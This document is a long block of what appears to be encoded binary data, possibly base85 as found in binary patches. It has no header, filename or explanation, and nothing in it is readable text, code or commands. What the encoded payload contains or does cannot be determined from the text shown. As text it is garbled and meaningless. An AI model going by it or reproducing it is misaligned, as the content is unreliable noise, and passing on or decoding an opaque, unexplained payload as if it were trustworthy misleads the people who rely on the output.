zuKN=c?-zftlLY@j#s35{-j@lk${>5t2{Sz|3N?3b>5}$KQhh_3$0+!(@t{t$oW3C~ z@0@ITu}6^h2hi&bmZH?llz3f6FJHD-uFxq)3RfAXm^t>L4in*ieT=EjDdtViX5UWs z(KF;&VrIYxn>qz9QJkkJT@Hss0u|I;M7(OH-aD$yhdf0L4bNcBu!P*-l44?|JuCR_lE3I*a(Tk@3ASLO2=uddthVQ>hr3P6nBr1e3s|igJN|~>SClYE(KO!2ITCa`qrdP zR?i>p+`Y^GEc1j+=KvkyT7bR@s9;9R##MUmD9D?O2Ul%{(qRhm9>rsm;^sSOz=(^toF8O=iAy?Szsb+|8ztS^Si) zT`u2r?PB@PBD+Hv0nJ_mOBZDKm|1`)6v9T3913|{r!&jN#Cf5m!RAr%?<$WUgT6#x zr2ay?TL-_4ouf|RmSuW_15?vLn0^i=2`oR5ZwTQ5`Od<0kpt5+%p4o0pKlxllfHF+ z4oofnl`c%Jhq5r;%6ou!@C(4io|ZEdPbc6dir2p@Qz<_96l#P(Qz5Oi1QmF5|BKGp zeT@q(zJ=mi!BbqwVG`v3{Uej%g-KluM`%;a$OV}N7&c_j*Rk#q29*(AeLqDBLtwXS%v`IGV2nwAJhiQF(zBRezQto!O_LR>y|6bi1_@MB z{eyOSHZa*dSNiWNw5uR=(V~1rs<1Pb_eDHy|4?f16aQiNqT2L`rH*ixJ4p4x{s7EK zvTPaxf|1wR^yBjG3F#zR&bI*R>-u_717G@=1aAAzCYFz&YY~x;*kGCrO%ZZARhDe; z!dMjPi8H0{IS1`_*GhMhuXn+T7%%phyeb!{2GUBFel#`2uX<7Dj8T~^gmWcitq5N8 zq`WiXWT`&z{V(bJKgqs-fxRqPFT4{R$H( z$m^#wS0GZJRqx_Q=VKj)DCXl4?a+`DQt}l3`nE#^HhAJg`IA{A zv~FwPn%xH6c6oNHksqJTa4J<8PqTBiwiT{=eVg$tp~GkSI6TQJsdE6`DKX z=vmKll+$@mKfoK#!)tRN+VIBW6KT&eeLu)}U^CGu!*yJX0NjdRg(#Bw@`UtzA}X9a zgBh>f*O%(+g1qy9US8e=c?b1g?NM|Oi_)mDBSmgaG>u}NiD-d@s{07vil|Bt_mW?3psWuX4V6m z-AC*T3TDh45asYAVLhKxP$pWh!UfBKJQ@XqS@aGyXFxLg&}YZ+5m>s&7j57OZ@^Wm zsPM0v_DMM^2UDCXVkq0X0iy7{d6X<}_K*fZ3b0JO1^XSCJ;OFE254eJP{O z0F6pSI_ZH35Eo`Pr3=fkV63?)aXJ%+6zp~P|7 zA7YeSaJbg!fga7wj8brHbs-|iTRBD57C8XI1&IFJ{zkksu7fYeYGk$1 z8AwBk64?f~2nQdA;EU`YT5lHKz*P6PrBIBEurFO75_*7 z{@apL6d0hwo}*O8*3rZ*Ldo%VqW^_m#LUwwlH}x|hZ%fm5c+9)4BbTHDWc{#iZ^uo zN$^gm47F>Gm~=A$OaLwCKdJwFN)kI-7psn#0|7 zwd`fxrV9Y%KOn=Z`)O7H5c?E$P5v7vQSlNFwRfp;Y{aeJWl<@k8AyIEVTol ziyxVfGcg;)nclGP5^^v zKem#lsANU_`Z?HxC-q~^Zfv!x-!Mw)N6aLhpV|-Xqxi=otuNi(vu9whEzc@d7^uju(TurO1?4RDP&jtjHmypAEs zvom+*#hfDdQY0+Qks=$lNKtNj8yRogUuxt3?f1dwPXrqE-GR>~A}n;MzK3!ovmP4@ z_|!szPwWe-sreP3)=mebC(LM6f0s-6l#kK-7%6G6Zvm?4(&8!ql&+TsA(VW;v<7v$ zgfYSS=@7;mZSoWdr9ZYm)$Y$(^oO0CQ^?26`j{c0QG#Pc^v5`>2i4!Q*JF@k2a0D- z-^D1`C{jc_{}2zQGo^z&|DkH9Y;)|@{)erdHbv2Y+0bKi$pkX6ll`tvzY`IL$vsYC zJ~iibH01nrI{KhiFCA5wBk|uT${*2{(E#Hms0`@cEGp#$FjJgG)k2?G2bU z8?@pQIm&NTJjiqQ-|UmNd=cHbY1@Oyq{sSN&<-r;=qoa2Q$+Nw`z<`y&iQ6O!yL9p zW;jcWa4ddALH(lEI1yar!^$ZDj}*T0j3^jX@rQ?{#R;-Ccc%RQ;-d-yEb=V*IYnA< zGR56xbBVbJKM%Re%6&8sfp+e}#oTZ$lmqemE0G$S;q}08z`{lj$Z+(qBB)%Gz>eTT z`u2h#4r%#e%9~$9Ab?)oVFSC02DJ-nfE%JZ680MH0xu>oo3Rl784M5l(d%Cc zF;n@Q|0(wbaV66GD#3-|liOPEHhrh$p1h4`mfMR@DfR9)kI;3oQSDihoD#oU zAPDmZTuf$F$VT~w_(Fce9ZPhT7&R~I3lqCXvQ?hjrz^kpnWx@o&WYI*lz!b7^I6qH zS+4MBMCvn)!qlUnZTi3LWd)GChc=v9b+tc_^=%VexsAf&~0btzTFr|CAenEAUXzFimiN4y2_1DxFJGwu5)#FA8q9${&$>>(_H-?KHPRIPv@C?!EFyc=P&Z z`_U2}H4Tq1=NBGpm`gm)rPOyb^|3>wpGw(}{wB|_bDoQRwVzo~ULG!X9+vU2X^7L~ zn9vtBZcyr&$HIAs_Te1*Aou_LOKHhYb(>vj*b)%@5$|D(AkMF&AYRVmPs1J3OM8s0 z$2H)BkqZ5#`3}YhvRq6vkVZXU&h&uB-$2)PH%)x7UaAphy(e)SN^9mY&0rbNEH-P>G|$VC9&hD8ur!GGrfsfxlY0p5G3olFV66 zdHZ&g|MQSm6*I%^wYjU(3740>NuqX4p^WSUJ)HlNc+wUfGR<$>s3;=sN>@b>y0Rzr z;gIH`sShXMOhhrcPk z)lfLGH@^JNzNH6j{!P}mdb5q}8TvRuGK+$gDeY#{JiEvn?5&C^b2-8_)Y)?Oo{GbP zM=SFx!+UEEyi(CiE#@0;)yan)aE1vuTL30haVW5+SA-}bJo_pRB!;}a-;Vc;nIdJU zqRa}cF1EAw39OpJE2n@Bn?KL{xn7wsDE=ih^K4v4XFyg@yktLlkMWmxjya@ZTY%RD}SJ+O_CH97U1>+PxvR^T-(7J0QsWU52XnFjv zs8IZaFy75NLPbO-ou2B;Jq*|0@8i!_{D56C9U2qAUx)J=I;1p+&P}cJe`bSu7Xn}H zdxEem2u}L~;%|l3^1@H`TkiY~rVF#}QCv?r3HBWLrS$b6kak7jbAYdxAn_-i&R6LI ziLijE@gsn#@*BFUJw=Lr7arX$wE<0BAR6aDw(_TTS7N9DNcB?zG~oS}&ij9sZ}g0v z&iCa`J$(pXbf4UMcwgg1C4^_s zfKs9?^|v9U0{NRaaXQ`n6^u!S!frukE;oOwB$9hmWEA+@N(()>7TAZ%Y}z|=H|Tq% zqDP~hCQuWNE!7G+>`=@O11(E7g}VI*;@4Czv40xUr`d*I=+_>tVZ7UC%Bwr;YSlYs z(Q}n;s-Mf-h;`j8@i|6IaIh0n5@9IGrN)Q>^f_Hp`qTs=MvF%M?R9?3D-R0w3C57G z%txic66bj?{pfh_MB)f)|Lw^Yt0iBI+~IP`-D=m;D1?Vwhg{BgPitM%kl_$ zNk=j(@=QMMFkru+PIa-ICps04gcOIR65RE{?q%iKiRkpeh2J>vKe<gqsYVewoA*R zQ;v|I`9G4M?hzN9e~8qQ`_Jlq+W^c`f%;tkxu6Xh^_Bw6weHQ`E5Ar<#$xLdAd?&( z?8cBCW06?u&3tocw=^Sa@>F)NpT`3HQw~Hib6qY(=qEo^h;l_h%VF zup@cCS$?RHj*tJ3I(dsy`0o(P@EdKVcv*E8;m-KWkk3Zk0z2ItACAv+Ff@bq+_>l9 zPAMRJ#E5VHzP6LC$7MLw7m)=)%xt0r^v>dDu}yo(z~lw?9EfUDn3c~<7A+v&?VG>T zrfs>fg!*NobkMY8k-Ed1|9*D?Q6xhMWx^UBj4u}WDAcQl5WkoEl!32eM9C7FIO{8Q8Pq)m}`5JK05fqohp|E)ZD9pWA7L^Kb2*U ze@#jZmsK(4Z?NHu@A|HevRY|s^=(eEk~6jIv)~mfcw)B|@UC*eyQCkymvm`goCDq( z$y!KZzXM&FLidhV)DK-hK7gNRV(#%uJW((nyvk-MOKd?Z5Pz3CY(2Cwf7tvwe)nQct`c1qph5oganq6;LhbDZ$U; zUl0POShuPO)voxaeuy!?il<>y7w;PwO{e(gIqZ|5qN1p^9K)O68p{^95B?IVKeO+= zV^*yf7a4nGgc>i07fzj4d3oYIUXn=uFP<;<0ZG0>G6lB0jcN$XPFHe6Bu8LLZSppl zpS^pcZ_;1#8sSq*T>BY`D89w44qAapoBr4n+S)uW^j!0Js{&VrFB*>j1ZeBc_dds# zsj^|I6W*4gPfLU@hhbn;?)xBF6d^1zw0p^Ik`q?@)?jX>v}A&LDe&v9fnV>U8x8ep zL|6Y0;HNKl?B`MI<{6eGB=yY+?YgaeCJUgIw~Pd}2RXn&zWt~_sSWT&x)4SJ8uouw}PT>+xrdOv_Qa{Iy6J3fK@p!)-)rv zF-Qih&GqJeSvV`1G*FM;i*K$I2p*Rwnxav|ylQL^F0?^7S3#&e1qgTX8iUY192k&T zTw|24EQ`fUwD+I3A6vC$P5Jfa{J%MIr1pHUs)b}FSI|NTDmz$Q=<^^b*Igmjtz|Je zBjvI$f&xj4mkImQQD1sm;L$p7+qUu_ey}oK?Ukf>b4%HUlX}b7KiAnnIfBWLo?u$@v zTdSAZwQ^ZAO$6)X6TxECTm)hVcr=wB$%o1DRC3CwKRrr!HKl94X|m?k6vgjnOv76$ z7fwl6mUUH*7m`ayr*&19ib9vJooAY`aHK1%h4h80!amC*gEYQ@tT$g06Mu9@dI(Rz zU{|?sJa4(OOE4nsv;8^2R1`JmBTjx$9V1a`jjD%OB|b{~4PxD{j~#%sbb<0lkS(Zt zl357eob}F94#gPApRMW{)@-jej3!5m|Fe2pQC>2?y@ajX$@jqw@Idd8wT%nSpK94( z=vf=IYG<@Z7rJkate#dPZxrbp+GDTGKu`UA$nUJb>da+hPGF53@58&ixR%$Y#h}%v z?Rhy_odpE@&1&Z{r87}rr2L~GMZ0Gn%92GCC$FlWO4jD zd3l=7R;*o#Lh8GgTao_!&kSy0HQCn0h6qKJv^WDCSWU(@kJUQEs`FY^K5Oi3@(YEw z-d3voJCG`e(C9*@#FL2#;||>Of4CC~TZPmz_Lx8sOc$n?`K*}NDqLIBBZ+LPkOIsv zmrzdGgKsnUp%2+#o|qqwFP0wM-RzRxG@I;xNCSh(?v%AHbZfIl*~~ncuIWh*OC6gM zSR+Y!q=NuhrLyT_?c1$!>C}R})G<0G={Bu#bgNPX(UmwAiTXWB}FrE{|F}`x7XdMbd5+L&K~6qf#q93d{ky$oPpi9`DTJ@%9#LEI6zZ93DR^HLwLLP3BP4f>CQLdXVMn zL(6MqCx5Y$)Ueba>P)_1Q}dqzZBUzm)r~sAaz^0bV!7i^$k{n_aXAliCgPX$%`#^$ zuKl}>Z=H)wz;Ro=LxwXG&1jjV*h&Ixt`Y>+&gh!0`?3yR!B4e`EgUdAraCiUj;P3v zY~UU_j--Evl+c=ZBmTEDWQ#jP9>85`&k$BF3dV+2uz=*y4ROA581lvj6TtXlGvpY| zc%#dVC108~@(V$rU@?wM8BzG&}xus3{VYB*8`2|5wvfE?H3&-h8eB7B_o{ay@ zNqOAXyS?8(e z)5FKpf2soqH^|uy|8M>q;*zs1ALm(BGa}KZYnkHZ_Ex(juua`2c&+K3UgK~5Qg?x) zAEUt*t%bFxj`t-N%T#6xR{G|KcHefHGu}Ue1?G(RkAx#;XY*urSjxuN?3_kIo;|z0 zs2ClG)GQinse?SI9ru|Lt<#0b|zWXE5se4#+byXZ$ zA)UK5@1Jv>eAYXHzrv%dWK9rE&wJ!Z;;gXg#-Q2phL@bQ-u&IE6Zy>#!+JZFMB?{D zc$HC2y!RQ1+0m!S_m2N;>QSp_>YjC$Q{RxpjEw)$Orm;Mdfs=A{Bv*;H!3)DVSyj! zH$UEXLh@vj1ovT@jA)DRNj#tBL~RYEk8)*q!tIuVok5)E)GDvnZZBOBA{qATFJrDJ zhc)_HKet;NxaUP!0jInictp9~i+pL_{Q~6_y7bRKs~yQy=b;uJyEAalC$*CFibtiA z%sjr3QzZ5CbeD7ClZ(r_kTh@IQ@9u|7w2;^QZ7ok7$z5|aWO(Jh7&nd0QND_4uIzT z!9sc~rA;qn=Tv&|F>WZ2D70Zr7aV-ZzV%O3m_L8Urj-JlRzTP#bV}n9Efp7KtQiQ2 z%GHHN4+5wAbZz=xx2o=;<~o@YjvC`jK5}p`z}PLYJ7ue|;VtGtMqPTEtJb(G+rt#e znaIDBH?peDr`fle%e4b*IUA8Bc9pmL_5roIV&KMswS93wZKqS)|3D0!Qf2$rrycB} zwoe}wSo19*o#(rJJpSyzJinj+C;uBFxAf1+&;I*6`cl4^LPMQ`1$-C! zeg0wo;rX32%K-V}yeIm3~rRzZ0z)w42i&nKXH$v*RxvZ^A!%##r4!F-tuxs&^( z1;J}JA0Z#_bTE6wbHPb6j(Gk`DsDR1}O)Rn^%SCX#;el;@jFKjALl=gS&AGP!9 zGN(5fMv|Mslc4GDmqoX`^5{JxH`$0t`ajQq<~#AwR)L72m%1r2cv|-o2tIIHALS0- zmy77N3RsyRbc6)OXR7IuUQDJJbb(T0QPWbgAzqv|OR}%^bB4`fvmLLJ!x?&Q&am0# z3}54sGm*;#LKbEm(pT1?Mmh3p>6>K)?}>)Vc_i{XYO5m+=3EqmevJJiQ_?RQvlyG1 z5GZG6q0A+qGy4&-3_BFL_0~(acpD3%#(u`GXW8H<|3p$&G$dS<~6onBCCh#f_uP}uxH(M z=A>D7YUQucZa^cv(*?#b7w9gAiF5Rp`LlgPVgQzry=|zRE@)%N(N>1&1e}uX-Xfm> z7DRXn+8Wo35nNy3S}d6TsJ(ZImPr?^zF*i!V9m3Rc}-+oJ@W1M2kC?+Dof|BTH*C3 z$F41x?B0Q89Ej35R7}Bc&Ewtc0n@U$e`@K>Qq!=k@F*2Fez*Pp+kIbtvd%O8u{zJi zd>;ROo##t@zr^<%qjR@mPleu{c?;;&L;?t#?x;jZ!^bmB3ac(!8)&W6vwDXf=8;JhZ` zvd3Q(YgZ8uzN;m)nd~3nu`2!6sF<~)%$i+}O{{SJYToM(gyYNk=KLjnUv}tV()Krm z<6*u118!Tj=t&&wZ7Q=hQy<6wv=);3{d<^21{$krRobf#hH89CGXCT46a+c;ZZ&O3 zt#_wa1`|WgRNf}uHv9WLeiOfKztNx5R`L1n^wwa~A2oH(Q;un@^d<{Q#DrftVejuuie8X@hoq;@_|u zX)i&0R%I!tCjLy`C5y$jzQ%N2FkM&FRj4m>Hm7axuUFq&X<$SBWQjYSj*%j>YzC&r z-q1^}=UH{oQ(62;x*hLZNw6s=gEg3;Z&1CMp^DR0#i6M!XJov$_x~^amcJ z{4OG$ZcNXf9N4f)xl0zqj34<-ZY_;jcb1csbta=M%Q5V3TPM{{1VOXgj>$rkrMiNw zi_R*Lk*V{^snmI`XItZ}xlV_;zp`nF_|3{*m+>i17m7K4+>KZ{Z%ljVvpTa4z1j9L z`n^&gF+V&Y#r+2BHyf?9Pi=Y)`>pDURzrC{B4SKngMYpiwB{6N{8weX?YUzsuUX}# zp74}4&nGVCbUN1ifk&&Sh}ZhIa_cf{MbV_~`PCEWQ%9{;YTYJvq?^C$O}?C^BCFbO zT~!_pJi2^J%sM{lMBW|v(yFI~wzpoU>*2L_bt{TaY-{IIs^t`JDjifO=hMntD|cpV zwmT*BuP|aQE{RS(x@zUcp4-lXO0A;zp@FsJcqSo7O{KE z`$D2b@m`GA&ssLIJX1GurejRmp+qIj=!Zz1P$$$@RT9tMZSvK_F~qmqVD8&*k55%e zXxYS;kM;Xks!F=NyQ#u6mj}&+lP92eZa@C6W3d$AQOSzGRFpSOLe z{(|gcC28+=CB|_|jH6jIGH^nSRYzrZ``1=pyo_yv?a_-Hk#%;5I0w9SO5KW!6|iz^ zxK%kZzbml8J6q_xz^X3Jc)xB18zSb@cw!+(u;Z({R63=tzRi8WM@ zbpmLIHZGxHGy*d$rz~BdJvdD|8bok)6^MbTaY<&*FiJrpj4$!(E)#ON-jCILRICAL z-Qpi0b6;yI!Sn2VK2uwgfUuAit>zxPI19NaeudgnWW(`FtSE~PG{CSToSSt7mq%B{ z0cBYghm1ca+-yR2R?%-jZ(V5J zJTdU-^ZD;t^?ta9u#BQxtYOww@XQ9w|8;dKi<4B0xgyu&2UG^t|3RpfBYV24Y>9sO zFQ75vwaUHXdw%azEbpSY{(bYI<?OUzYpp0wukcwbO42KE zz6WPlV@4)`<>hKyrZz8-zdGJU5*`qis$s>_sgBpY`5oz+!+{O+IRtUhArpwI>j)yzDhlKuBX4L9!q9geps#pO-z| z0>j!WHjo~fHrs#O1st`w>MO%M$zg#F4c_U|lGY;YDz6nOmE-xSY;w7dpAA-i#bIkf zsh~Obzd`eY0cd{fSsTrfuDLdv)31VNe3~|zt!oCMd9t+#TgLwa%XVm!gKF^0Ii21N zp&4~~As^CeY`o+qSM~JFdu`Kl=#54dm> zu}^S}^ukSEyan)|!Q#grPll2BmfBLzNVO`eq8_0YQGLKk)!3a<4 zHFCFgVD4g_?y>yE4fW>EDrfW(aj5|TL*Ezq^E=lr_FwTS|1Dpz8eCLew^&gn#Cr&ygabs4sW``fS&x$bj<U`?S znNLI-9YWPAR(jGuSa?7-cpa;t>$vb_)oW?(g@riyiIZ;eki% zr?e9mqued99BZE6A?`WS-%BkRAhOb*78th}y1sc_P<5R;+Yw z!xV0`U!CXIQa$Ob^O!p&R$aMOU!1=SX|=6a@oT#&ts%N79nXOw`+lK0cW* ztHGzd8gmxt`VkR!h}UqIyeeLCRt+K_)H~i7WX~W|-=CPc>P|@JT=Lgdi1~AYuRg4j zv_2$M)61H?5E04rUv=kj4=W!v|K+o43_Kd~u}D0Ki+FAAl=fOwdZa;Bc{*G|-HFkJ zcwdCZtKv+xYMvMHJQNPLye&cr#q|Tj5wtlA8kJw+GBm(aYwm=oH8oQ^jWq(&E7a9I zr##dJwmD?ISy@zHJ{wcy^z}DiVvIQK1{PHr47E;cDbD&sYlB^0QlWZ0(B-t|!wu#M z*uNE-AmM1i^o(_Vb0*!x?vUV6b4BDV379Z3>khQJ3G*8W zPCcLf1E2}rAsTa+O5&wLfiYiK(O&HCOtp!W{!v9l+?6ZJ2>D7^`qRrx(~U*x#^SEZ z5^&L%ZXBO(oN!~h@#6NzDN~=nF&&+3RYMJgR-~g7(~Uu^d|oU)d%~94wL{Fkpf3%p zt@EYx@b^~`A(yK1`B+6wVga(*`#}d9Lf^{a=pP*fA~F{6miEQN*G6@Yh`L*Tqcxv7 zB5`j9C><^3wQ{I-ru*6|d94oP zMVVDul)o*1TYdiX`OnJ<)pzS_MLbN`mRVKf(VBU&4c|)NInrRIHaMBULK@npjp_U7 z$qV#VA1|dVCtFn$090Ph!a71<4Q64TmW6e+zKNTA0s(n}4ONrfR~Ic>bh@;<>jmki zt~@JeWW41Ht=rQVc$ls%4s3``PDf|R0>*va1^VmydP$~;Bk2T76Z1D_+x~{WU4oW< zG3bX3WWeFw)o9iLuNE0!+cB|`W0I*ZhTS!Y3KupvF*SsY=lWA~eLbla5;_?%$q$7V zSZwx>Y(IUL2Z!pe#-1~7KLdBjwY$_E66VW|{HwrbAm$LO?@I1g@R`qte?tcR%X5Eu zvK$)vNgXOy4pc#0W@{;%ny0~cqUKVphiX{>THCm=i#uvu7$+CCr5q7n!(_`WGMsk} z8boCeqq6s)@O4!fQQ6J4s${#l;MG1t{^COtj)h_6xlu}foFX-WHrFrZ4S0s#+6^?q zehrF(n5@x6;YAo&hud0%YG?swMz0hxkgP_Cw%t)8tNPZ_@pj=!at%|fa6!M8`mAVa zq`~|jtif~*mWN?%U=Nh{YFaXc`_ff4j`%!A;Em zruM2*CoU#Ca`r`vgg8@Kr#w7IdgDvAPPo)Qu7^mi%JCw?>U~X@hH2n;C>;=ISLFmD z3|GqXf+w*^yioqcWLY?ULKaR`_-VUBt8#+cE-_HfK@i2vO?EZ1jVWfn1P<-TJZs_m{lrKb+w`l~Y3iO(5|3%J)vUahcSF$<8swZ6)Ojlu6Q$Z8+rE7MjYj!g~ zV)b%lWDB!nznn%ldN!1Er;>PyO&cqLiTz1f*l9o28f*!y{!gAy?VH}RD{*mV(JuJo zo^pF&TaH|sZrQ~upQ%=3oKcOKy&~-h25UKj_!Jz~*f^R*D&bww?iT~+hWomZScRwSocYCE0uywbpJb3qMVscFtx4pjM&8L zC7;zCigiP#>~ZrR8$CMqkD4mm%Fp*~TD+kt??yiS+^EP%s3o7j2MXdqR?$c@2ZtGY>DKx$;pWk(}Q)}O3GHB z?v99gi(g!BsjA8ACNC#U33&(vl#umLr#VI)Yb&R;S1rUeHHA<(Uzra1DJQ(bEAf=O z&Gix(SHm)GV`kBjbai<{Cb^O7K1m?m`iUThMyJmWCJL?h%~$}AnComvH1x2XWPnd9 zEUzfm{O0=*BkTGT6j@abI4ZsZ zTB3Mv_nzGRnwq~s;u(T)4@p;^>X{f=y;?@3=g!2f>ZeJJh;Ih_94G|<7Ve*j86u;O z-a1$snV+g7f{jcEWC7eLHm<;GS#iRy1FK1*;vqvVTzjNg%{ZT3mu4(Ct4b$zR%_Z{ zBo9FVA7_!){W$q;wLalD7fSMm161JY9-C=7VEP!)CNkav&3#IP()kOMqsVt`zjN?* z$Q=`_J^N(n&F^^{x?9;7h6%svEbM=!s-cVR zRy7F6#~~qTW)CuuO_e7)+n1e61TquewRS6GnwTiDdEbcme#Py6fntlfhWW*LXJS@i zKN^O6PG%wAv;ZzBJ%D?{jgx1vUy*09Z76aXs?GQ9S;(8AR&R1B=Yx@aM>;zF+5V1R z1~Q>^=B<3dADj0T@2{5b(dCMJ(FSYA`(%3aBm3RP4v&zZAU41(}XgsJpU$}&!sW4KxOwEXh zyP6|i75lx^Yo2B%uso|5IESbh9p62cHZBmofTgP3e@kTthNb?_-aVGy+w<7mDUe;| zdEu2h&)Ixd@R`ErI3N2wr$I3DH}<3}Lt z-_JmJW5h(<2VI45Nsm)ScWqapq>6BV&gv>8CMf$88$hY$TXhH0ZbbZuijO>^ z)zfrA*vy&;LN7k%&VC0>osM||$$^L0MI<}-)S=lPrt20Xt1d;aD5h6phE3Xzw;L-op6 z;44)5lIl4xF^<@>L}2Q+nH=Ee34Eg?GY`+t)Qz3G*?NHXyJJUcu zRY(1PzNEN}oAZ)paOhkwld^NYjDP2P_#1yEdbd;EKb`A^NIKU`^ls;R5v`r;g~N8P zm$B+x&mxDv0r|^(tf7tBe5UaU@u}i-6QA4pMEIomr1@OK=d*lT_}t8A8K1B5@dWsn zHzbfB@XD3@Z)l*vz5EB?h5z9G|3$Zb17R6v{~R6|;U76l^|NBxY>B!NjcIbK8}nAE z!|3s?Aos>l2M(iKZHH04`Gq(WnBYC<1y=u%#}an9`hG5K;#f_#BM)+s^I^4|IV76( z;nayh;(GNT1|BU+PC%&%Eef{QS#!NCQhet2eH6k-A1NhCs!0>{6?oK}JYRI5OpU?J z6BX%$ReNLJ+zYai?o<1^hi(uS zVcqJDn32-bB7c*Ql?wUOMK?gRi-vKc-hgZ%`OCpdZY$~QAM)PT8@7+jM9;3b{FiQP zuOZLd@=`H_p%i2IYACl&#fuO`&M!>Gi;lO~e1sWHG~SvcVVsiY+he62QO19R20Peg zg>ew`Kwat7=h2XEimXem@C{3r1s+{|TIlTL>3oj~HTshNCuA;dDL<{Sy?RXQ%EBZ* zxWz$vGEARfjSE_&mrib6f~$T4cC0WfgV?uIir)~EIlW#K#L6OxH5X68>6cuE{I zqtXMLMc7)3Pe-J`huGG_z`YX1m+Bc7_}UmQlw4$Om0T7vkE?UXn`zmBc{;h-JT7`~ z%Z_0Q-ODa4{1bxdxn+UJsxKhDNd8tQAI4nCWu`lrk81JspKtMH5 zpfvZp~gK2cUO^F7wRlg3NYXlXO-y2oOt!&=8x=mfaP_-%p$A|ai1JX^wsfJv z-1e)JyD)|>M9hOYapdSBqNUh;UxEKPoVmT&JY(aVRhRJ6{{CSh3~#T@v!PwU0~uSAJlyo)!!>3kqI*Pv>D z|0DaV+AGDlO8)ylvx+cxpDkK-uaL1s;B}$+=$aGNY5LL~LdrX`q`U)Cu4E3iFFn4t zYDznOuM;Oh;ITP432>#mzu=A)N4HcQ^H_DTN3`_A>m^QJR^KsM;ovC>fIQZJfWS&* zOT{~$wR5TPkhLJELX-U^6~48l;%%1kRLI;u5KTvd=98nfQusnSOFt$UyzfyaGf3vD z*|w@;oYmF-1kQha$(}x4CMe})5n?JQX&vrdukhImN_oXJ0bV#hmP_ozPboQtbtO+e zSbh#%R@RWD%r@%0|FlxL(r+17M?rVYoOKp#z2cobkj;WvJL}?0uxAEf&+aTSay18} zzp>z!isMMm{~gk!yl0O7Nf7PPspSV3r_-C{m&xbCeemSif6Y$e>{u9Db}0L@$Gj2- zxr3?HfHlNQ?q~c~wH)&#$dFjmQ;#Ke{yBm>{9tCIEY!py$axIY-J3t>rsE8E(JHN* z(-?+uoO7%}>+MfEXq6{X6L)^Hesv5aM}Ov`^+8bHFTEZ6XtB$GN6~>Szr6(A->Nvw zaO8xI=y;IN(%KCRDSce1+Ea&xscMQ9v!h+C+lwZ37n+Y<4aHj82i~(^b z8Uv~0fxm~mQ}l>nw$i2%@#Qexi2391`})j-kO_A_qjxsQowagjczm(m`6YJ-Mj@0}Gje^$SCc&<@PhhS$ucG(h=g=4X188xec|rSnKkUMmB+mc~`{e|pS}*f4)AAw$$2=`I zo-v+ANs)y!>jT%)pcNpdVl z@v3p2$Sw22zLWU6ipvl!hvRZ0PSpIzqtac1)a42J(D^w~T%N5d5XCsT84?f@SA0wm z`nL6x88kR`Pb5>ZmqHi6OFuc=8caJH#2zrK5HrtzTwlObWIo}uFT2c4N?5lA+fH}|0lu~qa{3U*7MO=9&AK2A4?Z?d5eUDp zJ6En;ZF1eWY2_!*haUe^T{1gfM70S!;!tupQcu0L1xCb#?K4wYSZ@#z=$Y(sC|Z|6 zKL87->xx_MCEkX<1lnX>)YOVCzP0qyjqMdj*VZA}R48i9i6Ho}JuQew3AR`K9ohDt z6+^BaBEmC@h&1OARxFdS%lylpzCKsyJBR$JVtHpBPdKLpHK5I04L+nO!JMH+aos8L zw$gqiJ_2Z>=Jo#^K)f&Tb0G0vPpUdw*DHJ^tCTqM%=X{uoQ%10<>S)1J8{>=1)46? zAyoUnaBwZ~)}!aNZ~}z6TRa1V#Sr#Gs0RTm{`^IUm!YtPt+5$@xizQQiWW7duWt7a z79k4Xc*HH)wR;(4Peg%K)BHU`=8n;QGmZrKAI#HgEyoA=8T>-R+}YT$Yf?m*`<%Ap zTX|vSH90#O3I}j@(8YXd`mORjb}~p}pc|?5#ZI#O3qx8JS}Q2u#09|_M1JRqMO)soZ5JCuqW-e{tSU7kPnQtUQYzkZtSr3 zzeMa|(5!<3(}moi?kUM-F&H5Ph|bc<+=!Z|wr4r31f3*rP@ei@?&9IVDYLIwgTs-y zyy(W8z&zX#adSw8OR?0R_`x#1u1HFPID3vjXC5;gMk|axtEug0r-S<9&c1H%)IMD8)b_OEOuUStBnjj;Y}KK0Snj%`N9sIZ;lsbY0spc; zJtDslUYJ2D%gC(ahUVv3T5oeLt#fcx2;w(BGxK$7bQ58$>p3bY`NmehIA6$y;GhUS zM*FMB*=;WV5fRUq99HNKiaB1++p@`Mi<#b?<$Z~#a+urqC=rRv8a!%-{#r_BCG*i= z*+2VNT&vkBW;3@>{zg=ZEv7*ihu(wjG$+5$MHoZ3-FK?K+MPhYcQI!*JgIVnTjJ}gxU;QNsN+cB*b#X z;mo4FTV~ggZl_xG->!bLvN)-xKFyCRFn`5=T9$MZ`Du0 z#FuFXUc_RJPMqcu$BYoI^HGI91hO4DvM{MZ$ima3teUjn3-Ygzm!#G~pSJC6X zlNDYA;dR~=Oem$qz?v^Qv_vlO+n3|uU-%K}ndWM3-Pbup zc!C~O^uKb2zOv{<`ZNkkM%M1j9ojiW!IJ)hqm^n7?K`u3EX?QydYH~kr{rnEO9QJ(y*^-(vY;dB4rd^cgG+WEu8{ zmi9F7we>iw@4VhR&tyLL@>#^^Hu;wLX8alWV;6Wu4R?E#pY4%fr$4TVjfhL471#9L z;n#`DtzUAB#K}%1yU&7+eC3CfIxXY>NFa84bvO6Yl_hqsS|?)K80*4c%l_03yK`OA zIi4*LrMFrb%A!7YP~CBcgWKeED_XL)qOX14E5yx_`B;k7oFHgCnk_=^*OIl1PPAYB z^3b`Qc=U*)E5Vy>Cf1AOAH)xw_-^wWeMwgl&a0y;tf>#g4j9#^d3ykB`Xx6A=Fgp& zUwMc!qcSCHq*H{;apH%$Tkb9Djf9DVO~=?C;KiS(m6!BS%j>1`s5H)LL=EPy!Hv(B z=ed)xR2rX~H&f&JeI%$dCw@SYf=tm84ds`%!)7>bgLw9#re_qs1>B^`)!IZERgS__cRG z5a@GW+s_S|Q6th-^K8z0Vyx3wx2dNnvbJJ`mLee6F134bsec<#s>Uw$yTPSywoA2F z)k+xL8v^qd^Mzv=(9qjH!(>D;;?AdFoZ0QgqHh3mm*>od$?I=Ky=w6Aw;<2UU!Pb0 z4)=Mikw;J)($)SOtUq?t4?}M%VJIty6UPpB(--{ z9B%OBdCAe}_4=rzrguxl?lVpI>4Q-6v!i`|PjG}azRKMhJRj3T(~>15?o4g;raHW- zd8xd92xa)5Pr)h z*4v~GwjuO%RrZRu?1(GLkUr2>AU#S=8=5?gc#7%O!Q_bP)kR4=ySIdgX@|u@=AYCN z&6KUpRQFjO-J_sSo!u`@HzM|J||xh(0A3goJEJj4bXrBE_#J-9XOZ##Tk5zJUEZ5|bJo$jwPTTRozt+K{*R&m(M-`@V3}Iy^k#19P3@m`bd^?2t?!YA zVHZ%XI$o0S%Ij<;gLo6?Si3sj8W-B07~An$!PKp7uWb~RY)y|+%UENl#jU=+$Hdg) 